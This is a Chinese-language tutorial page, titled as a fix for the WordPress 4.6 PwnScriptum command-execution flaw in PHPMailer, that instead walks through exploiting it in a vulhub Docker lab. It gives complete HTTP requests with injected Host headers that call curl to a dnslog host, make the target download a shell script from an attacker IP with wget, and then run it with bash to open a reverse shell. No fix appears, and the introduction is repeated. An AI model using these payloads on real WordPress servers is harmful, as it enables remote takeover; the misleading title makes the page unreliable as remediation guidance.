您现在的位置是:首页 > cms教程 > WordPress教程WordPress教程
Wordpress4.6任意命令执行漏洞修复方法
秋翠2025-03-02WordPress教程已有人查阅
导读Wordpress 4.6 任意命令执行漏洞(PwnScriptum)当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截
Wordpress 4.6 任意命令执行漏洞(PwnScriptum)
当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造payload,即可进行远程命令执行。
漏洞环境
我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可git clone git://github.com/vulhub/vulhub.git
影响版本
然后跟着默认下一步安装即可
漏洞在找回密码的页面,这是测试是否存在的payload,里面的user_login为你自己设置存在的账号,由于有些字符不能用,我们用${substr{0}{1}{$spool_directory}}代替/,${substr{10}{1}{$tod_log}}代替空格POST /wp-login.php?action=lostpassword HTTP/1.1
开启一个web服务存放反弹shell脚本
执行payload使目标服务器下载这个脚本POST /wp-login.php?action=lostpassword HTTP/1.1
服务器监听1234端口
发送payload使目标服务器执行脚本POST /wp-login.php?action=lostpassword HTTP/1.1
当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造payload,即可进行远程命令执行。
漏洞环境
我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可git clone git://github.com/vulhub/vulhub.git
cd vulhub/wordpress/pwnscriptum/
docker-compose up -d
访问IP:8080/即可看到一个wordpress安装界面页面。影响版本
WordPress <= 4.6.0
PHPMailer < 5.2.18
漏洞复现然后跟着默认下一步安装即可
漏洞在找回密码的页面,这是测试是否存在的payload,里面的user_login为你自己设置存在的账号,由于有些字符不能用,我们用${substr{0}{1}{$spool_directory}}代替/,${substr{10}{1}{$tod_log}}代替空格POST /wp-login.php?action=lostpassword HTTP/1.1
Host: edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}wb5hh4.dnslog.cn}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 63
Content-Type: application/x- -form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin@qq.com
执行后发现dnslog接收,证明命令执行成功漏洞存在开启一个web服务存放反弹shell脚本
执行payload使目标服务器下载这个脚本POST /wp-login.php?action=lostpassword HTTP/1.1
Host: edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}IP地址${substr{0}{1}{$spool_directory}}edi.txt}} null )
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x- -form-urlencoded
Content-Length: 94
Origin: http://192.168.200.23:8080
Connection: close
Referer: http://192.168.200.23:8080/wp-login.php?action=lostpassword
Cookie: ECS[visit_times]=9; wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1
user_login=admin%40qq.com&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%81
web服务监听80发现脚本被人访问,上面的命令执行成功服务器监听1234端口
发送payload使目标服务器执行脚本POST /wp-login.php?action=lostpassword HTTP/1.1
Host: edi(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x- -form-urlencoded
Content-Length: 94
Origin: http://192.168.200.23:8080
Connection: close
Referer: http://192.168.200.23:8080/wp-login.php?action=lostpassword
Cookie: ECS[visit_times]=9; wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1
user_login=admin%40qq.com&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%81
反弹shell成功
本文标签:
很赞哦! ()
相关教程
图文教程
wordpress制作banner的具体步骤
wordpress网站制作banner切换图的方法其实很多,有通过wordpress插件来制作的。但对于做网站的新手来说
WordPress开发者是谁
WordPress的主要的开发者是Ryan Boren和Matthew Mullenweg。 Matthew Mullenweg和Mike Little是这个项目的共同创办人。
WordPress父页面中显示子页面列表的方法
WordPress 父页面中显示子页面列表将下面的代码添加到当前主题 functions.php 中:之后,可以使用短代码:[wpb_childpages]加到文本小工具中。
wordpress添加链接跳转的两种方法
方法一:粘贴以下代码到主题的functions.php文件即可实现wordpress链接转跳功能。展现方式为:https:// .uoo2.com/?go=http:// .baidu.com这种形式转跳。
相关源码
-
(PC+WAP)盆栽绿植观赏植物花卉租赁免费pbootcms网站模板为花卉盆栽租赁、园林绿化企业打造的PbootCMS网站模板,采用较新内核开发,PC与移动端数据实时同步。通过清新自然的视觉设计,精准展现植物养护、花卉展示等业务场景,帮助用户快速建立专业级行业网站。查看源码 -
(自适应)平面设计网络工作室个人作品展示网站模板免费下载基于PbootCMS内核开发的响应式网站模板,为设计工作室、创意机构打造的作品展示解决方案。通过模块化布局与极简交互设计,呈现设计作品的视觉细节,支持作品分类、案例解析等多维度展示方式。查看源码 -
(自适应)驾校培训学车活动免费pbootcms源码下载本模板基于PbootCMS内核开发,为驾校培训行业打造,具备完善的招生展示、课程预约、教练团队展示等功能模块。响应式设计适配各类移动终端,数据实时同步管理,助您高效开展线上业务。查看源码 -
(自适应)英文电子芯片电子元件网站pbootcms模板下载基于PbootCMS内核开发的电子元件类企业专用模板,采用响应式设计技术,适配电子元器件、集成电路、半导体等行业的品牌展示与技术文档发布需求。前端布局针对芯片参数表格与产品规格书展示进行深度优化。查看源码 -
(自适应)营销型健身器材产品设备类pbootcms模板网站为健身器材企业打造的营销型网站模板,基于PbootCMS开源内核开发。采用HTML5响应式架构,PC与移动端数据实时同步,适配多终端展示场景。查看源码 -
(自适应)WordPress主题SEO自媒体博客资讯模板RabbitV2.0Rabbit v2.0主题专注于网站搜索引擎优化需求,为博客、自媒体及资讯类网站提供专业的SEO技术解决方案。该主题从架构设计到功能实现均围绕搜索引擎优化理念展开。查看源码
| 分享笔记 (共有 篇笔记) |

